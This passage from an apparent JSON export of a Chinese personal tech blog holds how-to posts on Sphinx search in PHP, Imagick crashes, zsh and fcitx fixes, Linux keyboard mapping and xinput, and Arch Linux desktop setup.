mode); SPH_MATCH_ANY, matches any of the query words; SPH_MATCH_PHRASE, matches query as a phrase, requiring perfect match; SPH_MATCH_BOOLEAN, matches query as a boolean expression (see Section 5.2, “Boolean query syntax”); SPH_MATCH_EXTENDED, matches query as an expression in Sphinx internal query language (see Section 5.3, “Extended query syntax”). As of 0.9.9, this has been superceded by SPH_MATCH_EXTENDED2, providing additional functionality and better performance. The ident is retained for legacy application code that will continue to be compatible once Sphinx and its components, including the API, are upgraded. SPH_MATCH_EXTENDED2, matches query using the second version of the Extended matching mode. SPH_MATCH_FULLSCAN, m */ $s-\u0026gt;setMatchMode(SPH_MATCH_ANY);//匹配模式 $s-\u0026gt;setMaxQueryTime(3);//查询超时 //$s-\u0026gt;SetSelect ( $select );//设置返回的字段 /* $cl-\u0026gt;SetSelect ( \u0026#8220;*, @weight+(user_karma+ln(pageviews))*0.1 AS myweight\u0026#8221; ); $cl-\u0026gt;SetSelect ( \u0026#8220;exp_years, salary_gbp*{$gbp_usd_rate} AS salary_usd, IF(age\u0026gt;40,1,0) AS over40\u0026#8243; ); $cl-\u0026gt;SetSelect ( \u0026#8220;*, AVG(price) AS avgprice\u0026#8221; ); */ /* $cl-\u0026gt;SetGroupBy ( \u0026#8220;category\u0026#8221;, SPH_GROUPBY_ATTR, \u0026#8220;@count desc\u0026#8221; ); $cl-\u0026gt;SetGroupDistinct ( \u0026#8220;vendor\u0026#8221; ); == SELECT id, weight, all-attributes, COUNT(DISTINCT vendor) AS @distinct, COUNT(*) AS @count FROM products GROUP BY category ORDER BY @count DESC */ //$s-\u0026gt;SetGroupBy ( $groupby, SPH_GROUPBY_ATTR, $groupsort );//汇总 //$s-\u0026gt;SetGroupDistinct ( $distinct );//设置不重复字段 $s-\u0026gt;SetArrayResult ( true );//结果是否有ID /* SPH_SORT_RELEVANCE mode, that sorts by relevance in descending order (best matches first); SPH_SORT_ATTR_DESC mode, that sorts by an attribute in descending order (bigger attribute values first); SPH_SORT_ATTR_ASC mode, that sorts by an attribute in ascending order (smaller attribute values first); SPH_SORT_TIME_SEGMENTS mode, that sorts by time segments (last hour/day/week/month) in descending order, and then by relevance in descending order; SPH_SORT_EXTENDED mode, that sorts by SQL-like combination of columns in ASC/DESC order; SPH_SORT_EXPR mode, that sorts by an arithmetic expression. */ //$s-\u0026gt;SetSortMode ( SPH_SORT_EXTENDED, $sortby );//排序模式 /* $s-\u0026gt;SetOverride($attrname, $attrtype, $values); $s-\u0026gt;ResetOverrides();*/ /* $s-\u0026gt;SetRetries($count);//设置失败重试 $s-\u0026gt;SetRankingMode($ranker);//设置排名模式 均适用于SPH_MATCH_EXTENDED2搜索 //第3个参数当为true时，相当于$attribute!=$value，默认值是false $s-\u0026gt;SetFilter ( \u0026#8216;target_type\u0026#8217;, $filtervals );//设置过滤,值列表 $s-\u0026gt;SetFilterFloatRange($attribute, $min, $max);//浮动范围 $s-\u0026gt;SetFilterRange($attribute, $min, $max);//指定范围 $s-\u0026gt;SetGeoAnchor($attrlat, $attrlong, $lat, $long); */ //link //$s-\u0026gt;SetFilter ( \u0026#8216;target_type\u0026#8217;, array(1),true ); $s-\u0026gt;SetLimits ( 0, 10 );//显示数量:开始 量 最大量 右偏移量 $result = $s-\u0026gt;query(\u0026#8220;good\u0026#8221;,\u0026#8220;team\u0026#8221;);//查询 print_r($result); ","permalink":"https://hessian.cn/p/192.html","summary":"原文地址：http://blog.csdn.net/adparking/article/details/7207119\n\u0026nbsp;\n1.下载PHP客户端安装:\n","title":"[转]php sphinx 高效率搜索引擎搭建"},{"content":"从国外把博客给搬回来了。。。BurstNet的速度果然让人hold不住。。。\n还是安心用国内的服务器吧。。。贵点就贵点了。。。\n","permalink":"https://hessian.cn/p/180.html","summary":"从国外把博客给搬回来了。。。BurstNet的速度果然让人hold不住。。。\n还是安心用国内的服务器吧。。。贵点就贵点了。。。\n","title":"撒花庆贺~博客搬家完成"},{"content":"今天帮同事安装配置php_imagick，结果装是装上了apache也能正常启动，但是程序一new Imagick()就会导致Apache崩溃。\n在google之后从Stack Overflow找到问题原因：\nI\u0026#8217;ve had the same issue today. You have to install version of Image Magick no higher than 6.6.4.0 \u0026#8211; next builds are made using VC10 which seems to be incompatible with Apache VC9 + PHP5.3.x VC9.\n\u0026nbsp;\nImageImagick dll for windows 在6.6.4以后用的都是VC10编译，所以不兼容vc9编译的php，虽然apache能正常启动，但是new Imagick的时候会导致apache崩溃。\n解决办法就是安装低版本的ImageImagick\n下载地址：http://image_magick.veidrodis.com/image_magick/binaries/\n\u0026nbsp;\n参考资料：\nhttp://stackoverflow.com/questions/8608426/imagick-crash-with-php-5-3\nhttp://www.elxsy.com/2009/07/installing-imagemagick-on-windows-and-using-with-php-imagick/\n","permalink":"https://hessian.cn/p/184.html","summary":"今天帮同事安装配置php_imagick，结果装是装上了apache也能正常启动，但是程序一new Imagick()就会导致Apache崩溃。\n","title":"ImageImagick + PHP + Apache On WINDOWS"},{"content":"更新svn(subversion)到1.7后 zsh 的svn自动完成就傻X了。\n错误： _arguments:comparguments:312: invalid argument: [\u0026#8211;cl]:arg:\n修改方法\n打开文件：/usr/share/zsh/4.3.11/functions/_subversion\n找到35行左右\n${=${${${(M)${(f)\u0026#8221;$(LC_ALL=C _call_program options svn help $cmd)\u0026#8221;#(*Valid options:|(#e))}:#* :*}%% #:*}/ (arg|ARG)/:arg:}/(#b)-([[:alpha:]]) \\[\u0026#8211;([a-z-]##)\\](:arg:)#/(\u0026#8211;$match[2])- $match[1]$match[3] (-$match[1])\u0026#8211;$match[2]$match[3]}\n改为\n${=${${${(M)${(f)\u0026#8221;$(LC_ALL=C _call_program options svn help $cmd)\u0026#8221;#(*Valid options:|(#e))}:#* :*}%% #:*}/ (arg|ARG)/:arg:}/(#b)(-##)([[:alpha:]]##) \\[\u0026#8211;([a-z-]##)\\](:arg:)#/(- -$match[3])$match[1]$match[2]$match[4] ($match[1]$match[2])\u0026#8211;$match[3]$match[4]}\n\u0026nbsp;\n参考资料：\nhttp://www.zsh.org/mla/workers/2011/msg01448.html\n","permalink":"https://hessian.cn/p/181.html","summary":"更新svn(subversion)到1.7后 zsh 的svn自动完成就傻X了。\n错误： _arguments:comparguments:312: invalid argument: [\u0026#8211;cl]:arg:\n修改方法\n打开文件：/usr/share/zsh/4.3.11/functions/_subversion\n","title":"修复zsh svn1.7 自动完成的问题"},{"content":"\u0026#8212; PREPARE \u0026#8212;\n1. Install MacPort\n2. sudo port install pcre jpeg libpng mcrypt ImageMagick\n3. Download PHP, Nginx, Redis, MySQL\n\u0026nbsp;\n\u0026#8212; Compile \u0026amp; Install \u0026#8212;\n1. MySQL dmg\n2. Nginx\n./configure \u0026#8211;prefix=/opt/nginx\nmake\nmake install\n3. Redis\nmake PREFIX=/opt/redis install\n4. PHP\n./configure \u0026#8211;prefix=/opt/php53 \u0026#8211;with-config-file-path=/opt/php \u0026#8211;with-mysql=mysqlnd \u0026#8211;with-pdo-mysql=mysqlnd \u0026#8211;with-iconv=/opt/local \u0026#8211;with-xsl \u0026#8211;enable-xml \u0026#8211;with-libxml-dir \u0026#8211;disable-rpath \u0026#8211;enable-safe-mode \u0026#8211;enable-bcmath \u0026#8211;enable-shmop \u0026#8211;enable-sysvsem \u0026#8211;enable-inline-optimization \u0026#8211;with-libexpat-dir=/usr/lib \u0026#8211;with-curl \u0026#8211;with-curlwrappers \u0026#8211;enable-mbregex \u0026#8211;enable-ftp \u0026#8211;with-gd \u0026#8211;enable-zip \u0026#8211;enable-sockets \u0026#8211;enable-soap \u0026#8211;enable-mbstring=all \u0026#8211;with-mcrypt=/opt/local \u0026#8211;enable-gd-native-ttf \u0026#8211;with-freetype-dir=/opt/local \u0026#8211;with-zlib \u0026#8211;without-pdo-sqlite \u0026#8211;enable-fpm \u0026#8211;with-snmp \u0026#8211;without-sqlite \u0026#8211;without-pdo-sqlite \u0026#8211;with-openssl \u0026#8211;with-jpeg-dir=/opt/local \u0026#8211;with-png-dir=/opt/local \u0026#8211;with-xpm-dir=/opt/local\nmake\nmake install\nsudo pecl install imagick\n// prefix = /opt/local\n\u0026nbsp;\n\u0026#8212; Configure \u0026#8212;\n\u0026nbsp;\n\u0026#8230;..\n","permalink":"https://hessian.cn/p/542.html","summary":"\u0026#8212; PREPARE \u0026#8212;\n1. Install MacPort\n2. sudo port install pcre jpeg libpng mcrypt ImageMagick\n3. Download PHP, Nginx, Redis, MySQL\n\u0026nbsp;\n\u0026#8212; Compile \u0026amp; Install \u0026#8212;\n1. MySQL dmg\n2. Nginx\n./configure \u0026#8211;prefix=/opt/nginx\nmake\nmake install\n3. Redis\nmake PREFIX=/opt/redis install\n4. PHP\n./configure \u0026#8211;prefix=/opt/php53 \u0026#8211;with-config-file-path=/opt/php \u0026#8211;with-mysql=mysqlnd \u0026#8211;with-pdo-mysql=mysqlnd \u0026#8211;with-iconv=/opt/local \u0026#8211;with-xsl \u0026#8211;enable-xml \u0026#8211;with-libxml-dir \u0026#8211;disable-rpath \u0026#8211;enable-safe-mode \u0026#8211;enable-bcmath \u0026#8211;enable-shmop \u0026#8211;enable-sysvsem \u0026#8211;enable-inline-optimization \u0026#8211;with-libexpat-dir=/usr/lib \u0026#8211;with-curl \u0026#8211;with-curlwrappers \u0026#8211;enable-mbregex \u0026#8211;enable-ftp \u0026#8211;with-gd \u0026#8211;enable-zip \u0026#8211;enable-sockets \u0026#8211;enable-soap \u0026#8211;enable-mbstring=all \u0026#8211;with-mcrypt=/opt/local \u0026#8211;enable-gd-native-ttf \u0026#8211;with-freetype-dir=/opt/local \u0026#8211;with-zlib \u0026#8211;without-pdo-sqlite \u0026#8211;enable-fpm \u0026#8211;with-snmp \u0026#8211;without-sqlite \u0026#8211;without-pdo-sqlite \u0026#8211;with-openssl \u0026#8211;with-jpeg-dir=/opt/local \u0026#8211;with-png-dir=/opt/local \u0026#8211;with-xpm-dir=/opt/local\n","title":"Deploy PHP Development Environment on Macintosh OS"},{"content":"fcitx更新到4.0之后我就一直在用fcitx，但是自2011年9月5日更新到4.1.0-1之后，很多候选词就无法上屏了，尤其是当候选词是处在第二页的时候。具体表现为当选择一个无法输入的词时输入框就会消失。后来我把这个问题报给了fcitx的开发人员，以下贴上问题解决的过程。\nIssue地址是：http://code.google.com/p/fcitx/issues/detail?id=429\nReported by hess\u0026#8230;@gmail.com, Yesterday (25 hours ago) 如何重现?\r1. 输入 shishi\r2. 翻页找到\"实时\"两个字\r3. 按下对应数字键\r这个时侯你会发现输入框消失了，但是当你再尝试输入其他内容时之前输入的文字又会出现在输入框里。\rFcitx 版本： 4.1.0-1\r来源： Archlinux pacman\r操作系统：Archlinux\r桌面环境：Openbox Delete comment Comment 1 by hess\u0026#8230;@gmail.com, Yesterday (25 hours ago)\n实时是其中一个例子，如果无法重现请尝试其他词组，出现在第二页的字词在我这里基本上都无法输入。 Comment 2 by project member wen\u0026#8230;@gmail.com, Yesterday (24 hours ago)\n你是不是在用sunpinyin而没有用sunpinyin-git？ Delete comment Comment 3 by hess\u0026#8230;@gmail.com, Today (8 hours ago)\n我根本就没装sunpinyin呢，只有fcitx Comment 4 by project member wen\u0026#8230;@gmail.com, Today (8 hours ago)\n无法重现你的问题。移除配置能解决你的问题吗？ Delete comment Comment 5 by hess\u0026#8230;@gmail.com, Today (97 minutes ago)\n非常遗憾，我将~/.config/fcitx 重命名为 ～/.config/fcitx.bak之后重新启动，问题依旧。\r基本上只要选择的是第二页的字词候选框就会消失。 Comment 6 by project member wen\u0026#8230;@gmail.com, Today (88 minutes ago)\n我这里所有的输入法都没办法重现你的问题（码表，拼音，sunpinyin，googlepinyin）\r即使是重新安装源内提供的4.1.0都没办法重现。\r我怀疑你对问题的描述有不准确的地方（假设存在这个bug的话）。\r如果你能把这个问题录下来就最好了。 Delete comment Comment 7 by hess\u0026#8230;@gmail.com, Today (67 minutes ago)\n非常感谢你的耐心回答，我刚才又测了一下，如果我pkill fcitx，然后再从命令行通过fcitx\u0026amp;来启动，居然就一点问题也没有。\r不知道是不是跟什么变量之类的有关系呢？\r还有我再次pkill fcitx之后X就挂掉了，点啥都没反应。\r我把fcitx启动的输出导了出来，你看看是否有异常？ fcitx.log\n3.2 KB View Download Comment 8 by project member wen\u0026#8230;@gmail.com, Today (49 minutes ago)\n其实我应该再问问你具体输入的程序是什么……按照我的推测，如果是输入很诡异的话，很可能是这个程序本身输入支持的问题，但是在某种情况下这个问题可以由fcitx绕过或者怎么样。\r不过即使我用xim的话在gtk或者qt程序（甚至开启了新加入的xim的on the spot支持，这个选项默认关闭），也都没有试验出问题。\r输出里面有一个dbus相关的问题，不过fcitx那个问题会进行数次连接尝试，看起来是绕过了这个问题才对。\r有个相关的你也不妨参考，虽然和fcitx无关，但是也是dbus的启动问题。\rhttps://bbs.archlinux.org/viewtopic.php?id=115474\r既然你已经升级到4.1.0了\r不妨把 fcitx-gtk2 ( fcitx-gtk3 fcitx-qt 如果你有需要 ) 装上，并且设置\rGTK_IM_MODULE=fcitx ，而不是你以往设置的xim。\r当然你更加不妨用openbox的自动启动来启动fcitx（也许这样就解决了），而不是写自己的~/.xinitrc Delete comment Comment 9 by hess\u0026#8230;@gmail.com, Today (moments ago)\n我照你的方法做了之后依然没有效果。\r不过好消息是我尝试加上参数 -s 把delay设成5之后就正常了。\r我现在的配置：\r安装了 fcitx-gtk2 + fcitx-qt\r变量写在 ~/.xprofile\rexport XMODIFIERS=\"@im=fcitx\"\rexport GTK_IM_MODULE=\"fcitx\"\rexport QT_IM_MODULE=\"fcitx\"\r启动写在 ~/.config/openbox/autostart.sh\rfcitx -d -s 5 现在看来没有发现什么问题。\r非常感谢你的帮助 ","permalink":"https://hessian.cn/p/165.html","summary":"fcitx更新到4.0之后我就一直在用fcitx，但是自2011年9月5日更新到4.1.0-1之后，很多候选词就无法上屏了，尤其是当候选词是处在第二页的时候。具体表现为当选择一个无法输入的词时输入框就会消失。后来我把这个问题报给了fcitx的开发人员，以下贴上问题解决的过程。\n","title":"解决fcitx 4.1 选择候选词后输入框消失的问题"},{"content":"刚刚发现一个霸气的 Firefox 插件 HostAdmin，地址在下面有\nhttps://addons.mozilla.org/zh-CN/firefox/addon/hostadmin/\n这个插件可以分析你的hosts文件，自动在firefox中提供给你选择你需要指向的IP地址，你也可以手工修改hosts文件，安装了这个插件之后hosts的修改是实时生效的。\n另外说一下，因为Firefox 4以上默认隐藏了扩展工具栏，所以安装后可能需要按CTRL+/才能在底部把它显示出来哦。\n如果不会用，可以看我下面的实例：\n我们有一个网站 www.test.com\n我们有2个测试的ip地址\n那么我们在hosts里可以这么写\n#192.168.18.1 www.test.com\n#192.168.18.2 www.test.com\n这样当你访问www.test.com的时候，你通过点击HostAdmin就可以方便的在两个IP之间进行切换，如果不希望通过hosts直接走DNS解析的话直接再点一下当前选中的条目，去掉选中状态可以了，这时候插件会显示为“In Hosts”。 对于在hosts文件中没有的域名，插件会显示Not in Hosts。\n另外附上让WIN7/Linux开放修改hosts权限的方法：\nhttp://code.google.com/p/fire-hostadmin/wiki/GAIN_HOSTS_WRITE_PERM\n","permalink":"https://hessian.cn/p/131.html","summary":"刚刚发现一个霸气的 Firefox 插件 HostAdmin，地址在下面有\nhttps://addons.mozilla.org/zh-CN/firefox/addon/hostadmin/\n这个插件可以分析你的hosts文件，自动在firefox中提供给你选择你需要指向的IP地址，你也可以手工修改hosts文件，安装了这个插件之后hosts的修改是实时生效的。\n","title":"WEB开发的福音阿，再也不用为频繁切换host苦恼了"},{"content":"1. 绘制图像缓冲区\n[java]\nImage img = Image.createImage( width, height );\ncanvs.paint( img.getGraphics() );\n[/java]\n\u0026nbsp;\n\u0026nbsp;\n2. 绘制透明图案、色块\n[java]\nint [] argb = new int[width * height];\nfor ( int i = 0; i \u0026lt; argb.length; i++ ) {\nargb[i] = 0x99000000; // ARGB\n}\ngraphics.drawRGB(argb, 0, width, 0, 0, width, height, true);\n[/java]\n\u0026nbsp;\n\u0026nbsp;\n3. Netbeans中Java(TM) Platform Micro Edition SDK 3.0的存储目录在哪里？\nDefaultCldcPhone1:\nC:\\Documents and Settings\\[USERNAME]\\javame-sdk\\3.0\\work\\6\\appdb\\filesystem\\root1\n","permalink":"https://hessian.cn/p/146.html","summary":"1. 绘制图像缓冲区\n[java]\nImage img = Image.createImage( width, height );\ncanvs.paint( img.getGraphics() );\n[/java]\n\u0026nbsp;\n\u0026nbsp;\n2. 绘制透明图案、色块\n[java]\nint [] argb = new int[width * height];\nfor ( int i = 0; i \u0026lt; argb.length; i++ ) {\nargb[i] = 0x99000000; // ARGB\n}\ngraphics.drawRGB(argb, 0, width, 0, 0, width, height, true);\n[/java]\n\u0026nbsp;\n\u0026nbsp;\n","title":"JavaME常用小技巧集合[持续补充中]"},{"content":" 原文地址：http://www.linuxidc.com/Linux/2011-04/35197.htm\n\u0026nbsp;\n对于英语来说，键盘上的字母键直接和英语字母表中的字母对应，但是对于非英语的语种来说，情况就不太一样了。例如，德语中的“ß”字母就没有直接的键和它对应，为此，Linux 提供“键盘映射”或“键盘翻译”，利用键盘映射可将某些键转换为特殊键。\n前面提到，X Window 直接处理了键盘的输入输出端口，因此，在 Linux 虚拟控制台下和 X Window 下使用不同的键盘映射方法。在 Linux 虚拟控制台上，可利用 loadkeys 命令将特殊按键映射为特殊字符；而在 X Window 中，必须使用 xmodmap 命令完成键盘映射。这些命令均按照字符映射表文件（文本文件）中的规定完成相应的转换。在 X Window 启动时，它会参考 Linux 文本模式下的字符映射表，因此可获得某些一致的键映射。\n字符映射表文件保存在 /usr/lib/kbd/keytables 目录下，defkeymap.map 是默认的字符映射表文件。利用命令：\n$ loadkeys fr.map 可装入 fr.map 所规定的字符映射表。这时，按下“.”会显示“:”。命令\n$ loadkeys –d 可装入默认字符映射表。对于非默认的键盘映射，可在启动时在 shell 脚本中装入特殊的映射表。\n对X Window 而言，它对键盘的处理过程分如下两个步骤：\n1．X Server 首先将键码转换为键符号名（keysym）。文件 /usr/include/X11/keysymdef.h 中包含所有的符号名。X Server 能够区分修饰键带来的不同，因为 keysymdef.h 中区分了两种不同的键，例如对“a”和“A”，分别用“KS_a”和“KS_A”定义。\n2．X Server 将键符号翻译为 ASCII 字符串。对于大多数的键来说，该字符串只包含一个字符，而对于功能键等特殊按键来说，则包含多个字符。例如，F5 键对应的默认 ASCII 字符串为 “5~”。\n利用 xmodmap 工具可修改键盘和键符号名之间的对应关系。例如，X Window 中“A”的键码为 30，而“Q”的键码为16。如果建立文件 maptest：\nkeycode 38 = A\rkeycode 24 = Q 在 xterm 中运行\n$ xmodmap maptest 之后，将发现“A”键和“Q”键交换了过来。\n上述的 maptest 文件实际就是一个简单的 X Window 映射文件。但需要注意的是，文件中的 keycode 和 Linux 内核对键值的定义是不一样的，一般而言，X Window 中的键码要比内核的键值大 8。利用 showkey 命令可以查看内核对键值的定义。例如，运行 showkey 并前后按下“A”和“Q”后，程序的输出为：\n$ showkey\rkb mode was RAW\r...\rkeycode 30 press\rkeycode 30 press\rkeycode 16 press\rkeycode 16 press 该程序给出的是“A”和“Q”的内核键值。\n在 XF86Config 文件中，Keyboard 段用来指定键盘参数，一般而言，这些参数不需要特殊设置：\nSection “Keyboard”\rProtocol “Standard”\rAutoRepeat 500 5\rEndSection ","permalink":"https://hessian.cn/p/144.html","summary":" 原文地址：http://www.linuxidc.com/Linux/2011-04/35197.htm\n\u0026nbsp;\n对于英语来说，键盘上的字母键直接和英语字母表中的字母对应，但是对于非英语的语种来说，情况就不太一样了。例如，德语中的“ß”字母就没有直接的键和它对应，为此，Linux 提供“键盘映射”或“键盘翻译”，利用键盘映射可将某些键转换为特殊键。\n前面提到，X Window 直接处理了键盘的输入输出端口，因此，在 Linux 虚拟控制台下和 X Window 下使用不同的键盘映射方法。在 Linux 虚拟控制台上，可利用 loadkeys 命令将特殊按键映射为特殊字符；而在 X Window 中，必须使用 xmodmap 命令完成键盘映射。这些命令均按照字符映射表文件（文本文件）中的规定完成相应的转换。在 X Window 启动时，它会参考 Linux 文本模式下的字符映射表，因此可获得某些一致的键映射。\n字符映射表文件保存在 /usr/lib/kbd/keytables 目录下，defkeymap.map 是默认的字符映射表文件。利用命令：\n$ loadkeys fr.map 可装入 fr.map 所规定的字符映射表。这时，按下“.”会显示“:”。命令\n$ loadkeys –d 可装入默认字符映射表。对于非默认的键盘映射，可在启动时在 shell 脚本中装入特殊的映射表。\n对X Window 而言，它对键盘的处理过程分如下两个步骤：\n1．X Server 首先将键码转换为键符号名（keysym）。文件 /usr/include/X11/keysymdef.h 中包含所有的符号名。X Server 能够区分修饰键带来的不同，因为 keysymdef.h 中区分了两种不同的键，例如对“a”和“A”，分别用“KS_a”和“KS_A”定义。\n2．X Server 将键符号翻译为 ASCII 字符串。对于大多数的键来说，该字符串只包含一个字符，而对于功能键等特殊按键来说，则包含多个字符。例如，F5 键对应的默认 ASCII 字符串为 “5~”。\n利用 xmodmap 工具可修改键盘和键符号名之间的对应关系。例如，X Window 中“A”的键码为 30，而“Q”的键码为16。如果建立文件 maptest：\nkeycode 38 = A\rkeycode 24 = Q 在 xterm 中运行\n$ xmodmap maptest 之后，将发现“A”键和“Q”键交换了过来。\n上述的 maptest 文件实际就是一个简单的 X Window 映射文件。但需要注意的是，文件中的 keycode 和 Linux 内核对键值的定义是不一样的，一般而言，X Window 中的键码要比内核的键值大 8。利用 showkey 命令可以查看内核对键值的定义。例如，运行 showkey 并前后按下“A”和“Q”后，程序的输出为：\n$ showkey\rkb mode was RAW\r...\rkeycode 30 press\rkeycode 30 press\rkeycode 16 press\rkeycode 16 press 该程序给出的是“A”和“Q”的内核键值。\n在 XF86Config 文件中，Keyboard 段用来指定键盘参数，一般而言，这些参数不需要特殊设置：\nSection “Keyboard”\rProtocol “Standard”\rAutoRepeat 500 5\rEndSection ","title":"[转]Linux 中的键盘映射"},{"content":"原文地址：http://blog.yjl.im/2010/12/using-xinput-to-disable-keyboard-mouse.html\n我最近发现可以用 xinput 来禁用/启用输入设备。我经常用 synclient 来关掉我的触摸板， 或者用 xinput 来关闭我的笔记本键盘。\n第一步我们需要先拿到设备的名字或者ID：\n$ xinput list\r⎡ Virtual core pointer id=2 [master pointer (3)]\r⎜ ↳ Virtual core XTEST pointer id=4 [slave pointer (2)]\r⎜ ↳ USB Optical Mouse id=8 [slave pointer (2)]\r⎜ ↳ SynPS/2 Synaptics TouchPad id=7 [slave pointer (2)]\r⎣ Virtual core keyboard id=3 [master keyboard (2)]\r↳ Virtual core XTEST keyboard id=5 [slave keyboard (3)]\r↳ Sleep Button id=9 [slave keyboard (3)]\r↳ Power Button id=10 [slave keyboard (3)]\r↳ Video Bus id=11 [slave keyboard (3)]\r↳ AT Translated Set 2 keyboard id=6 [slave keyboard (3)] 在这里触摸板的名字是 'SynPS/2 Synaptics TouchPad' ID是 7;\n键盘的名字是 'AT Translated Set 2 keyboard' ID是 6.\n下一步我们要知道设备都有什么属性:\n$ xinput list-props 'AT Translated Set 2 keyboard'\rDevice 'AT Translated Set 2 keyboard':\rDevice Enabled (127): 1 键盘只有一个属性 'Device Enabled' 他的值是 1，意思就是说键盘是打开状态的。\n我们来尝试关掉它：\nsleep 0.1 ; xinput set-prop 'AT Translated Set 2 keyboard' 'Device Enabled' 0 ; sleep 5 ; xinput set-prop 'AT Translated Set 2 keyboard' 'Device Enabled' 1 开头 sleep 0.1 的目的是要留出时间让你执行当前命令时所敲的回车的按键(keypress)事件能够完成， 我猜测当你按下回车时命令就会执行并把键盘禁用，但是按键弹起（keyup）还没有被发送，所以X会以为你一直按这回车键。\n另一个更简单的用法是用ID来进行操作，这样你就不需要输入一大长串的名字了：\nsleep 0.1 ; xinput set-prop 8 127 0 ; sleep 5 ; xinput set-prop 8 127 1 键盘的ID是8, 属性 'Device Enabled' 的ID是127。 当你用 list-props 列出设备属性时， 在属性名后面的数字就是属性的ID。 像 'Device Enabled' 的ID总是 127，但是设备的ID就不一样，它跟设备的连接时间有关，一般越先连接的设备ID越小，之后会越来越大。\nPS：设置设备属性不需要root权限。\n","permalink":"https://hessian.cn/p/139.html","summary":"原文地址：http://blog.yjl.im/2010/12/using-xinput-to-disable-keyboard-mouse.html\n","title":"[译]如何在Linux下禁用键盘、触摸板、鼠标等输入设备"},{"content":"最近又想烧个新键盘了。。。\n当然现在老婆卡的比较紧。。。也就烧点便宜的了。。。。\n现在看中了Noppo 的 Mini84, 65%的键盘，84键，比较适合作为笔记本键盘的替代品，准备搞一个放公司敲代码用\n某北京卖家地址：http://item.taobao.com/item.htm?id=9176159258\u0026amp;\n\u0026nbsp;\n","permalink":"https://hessian.cn/p/137.html","summary":"最近又想烧个新键盘了。。。\n当然现在老婆卡的比较紧。。。也就烧点便宜的了。。。。\n现在看中了Noppo 的 Mini84, 65%的键盘，84键，比较适合作为笔记本键盘的替代品，准备搞一个放公司敲代码用\n","title":"又想烧键盘了。。。Noppoo Choc Mini 84"},{"content":"怎么在Netbeans里修改默认@author的内容\n\u0026nbsp;\n1. Tools -\u0026gt; Templates\n2. 点击 Template Manager 窗口右下角的Settings按钮\n3. 去掉 #user\u0026#8230;.. 的注释,把他改成你想要的内容\n\u0026nbsp;\n搞定\n","permalink":"https://hessian.cn/p/135.html","summary":"怎么在Netbeans里修改默认@author的内容\n\u0026nbsp;\n1. Tools -\u0026gt; Templates\n2. 点击 Template Manager 窗口右下角的Settings按钮\n3. 去掉 #user\u0026#8230;.. 的注释,把他改成你想要的内容\n\u0026nbsp;\n搞定\n","title":"怎么在Netbeans里修改默认@author的内容"},{"content":"最近被客户要求用RTX沟通，我又懒得开虚拟机，想到以前就有人用WINE 运行过QQ，应该RTX也可以运行才对就到网上搜索了一下。\n最后找到这篇帖子：http://www.php-oa.com/2011/01/06/linux-wine-rtx.html\n因为我用的是archlinux，最后只需要 pacman -S wine winetricks 就行。\n在安装RTX之前需要运行 winetricks mfc42 安装一下MFC的运行库，RTX需要这玩意。\n然后 用 wine 运行安装文件就可以了， 中间会提示 ShlMenu 神马的注册失败，不用管，Ignore掉就行了，安装好就可以从桌面直接运行RTX了。\n推荐在winecfg里把\u0026#8221;Allow the window manager to decorate the windows\u0026#8221; 给关掉，不然RTX的窗口会有两层边框和状态栏的。\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n另外附上好用的独立EXE的QQ，这个也是从 扶凯 哪里拿过来的。\n深度单体版QQ\nhttp://u.115.com/file/t8c7c407ad\n","permalink":"https://hessian.cn/p/129.html","summary":"最近被客户要求用RTX沟通，我又懒得开虚拟机，想到以前就有人用WINE 运行过QQ，应该RTX也可以运行才对就到网上搜索了一下。\n最后找到这篇帖子：http://www.php-oa.com/2011/01/06/linux-wine-rtx.html\n","title":"Arch Linux + Wine运行RTX / QQ"},{"content":"wordpress居然还有android客户端，老外做的东东西真是，太神奇了。\n","permalink":"https://hessian.cn/p/128.html","summary":"wordpress居然还有android客户端，老外做的东东西真是，太神奇了。\n","title":"wordpress居然还有android客户端"},{"content":"Archlinux+Openbox+Bmpanel2\nWindow Manager = Openbox\nhttp://openbox.org/\nDesktop Background = Habak\nPerformace Monitor = Conky\nhttp://conky.sourceforge.net/\nPanel = Bmpanel2\nhttp://code.google.com/p/bmpanel2/\nPanel-Calendar = Gsimplecal\nhttp://code.google.com/p/gsimplecal/\nVolume Control = Volumeicon\nhttp://softwarebakery.com/maato/volumeicon.html\nNetworkManager = NetworkManager + nm-applet\nhttp://projects.gnome.org/NetworkManager/?x=22\nFileManager = PcManFM\nhttp://pcmanfm.sourceforge.net/\n现在用着感觉用pcmanfm做桌面还是不太爽，于是改用了xfce4的桌面，xfdesktop，但是用这个的话file manager也得换成thunar。。。\n大部分软件在pacman 中就有，但是有几个像 gsimplecal和volumeicon都是在AUR里\n","permalink":"https://hessian.cn/p/121.html","summary":"Archlinux+Openbox+Bmpanel2\nWindow Manager = Openbox\nhttp://openbox.org/\nDesktop Background = Habak\nPerformace Monitor = Conky\nhttp://conky.sourceforge.net/\nPanel = Bmpanel2\nhttp://code.google.com/p/bmpanel2/\nPanel-Calendar = Gsimplecal\nhttp://code.google.com/p/gsimplecal/\nVolume Control = Volumeicon\nhttp://softwarebakery.com/maato/volumeicon.html\nNetworkManager = NetworkManager + nm-applet\nhttp://projects.gnome.org/NetworkManager/?x=22\nFileManager = PcManFM\nhttp://pcmanfm.sourceforge.net/\n现在用着感觉用pcmanfm做桌面还是不太爽，于是改用了xfce4的桌面，xfdesktop，但是用这个的话file manager也得换成thunar。。。\n","title":"Archlinux 环境配置记录"},{"content":"Archlinux 终于把Kernel3.0放到[Core]里了\n这是一件好事，虽然3.0更新的内容不多，但是作为linux这么久以来难得的一次大版本号变更总还是让人兴奋的。\n不过高兴归高兴，该发生的悲剧总还是要发生的。。。。\n刚才兴冲冲的把Kernel升级到了3.0,结果重启之后发现无线木有了。。。\n之前虽然在linuxsir里貌似看到过有人说这事，但是没想到居然真这么不靠谱。。。难道发布的人不用笔记本么？。。。郁闷郁闷。。。\n我是趁这个机会自己编译个内核呢还是去[AUR]里找个现成的驱动先用着呢？ 纠结啊。。。\n","permalink":"https://hessian.cn/p/118.html","summary":"Archlinux 终于把Kernel3.0放到[Core]里了\n这是一件好事，虽然3.0更新的内容不多，但是作为linux这么久以来难得的一次大版本号变更总还是让人兴奋的。\n","title":"Archlinux 终于把Kernel3.0放到[Core]里了"},{"content":"我一直有边听音乐边玩电脑（上网，写程序啥的都会开着播放器）。\n昨天在办公室开着喇叭放音乐，下班时被同事问：“你一边听音乐一边写程序能写得了吗？ 